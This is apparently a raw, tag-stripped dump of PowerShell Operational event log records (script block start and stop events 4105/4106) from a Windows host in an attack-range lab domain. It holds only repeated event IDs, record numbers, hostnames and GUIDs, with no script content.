410515102150x0671455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 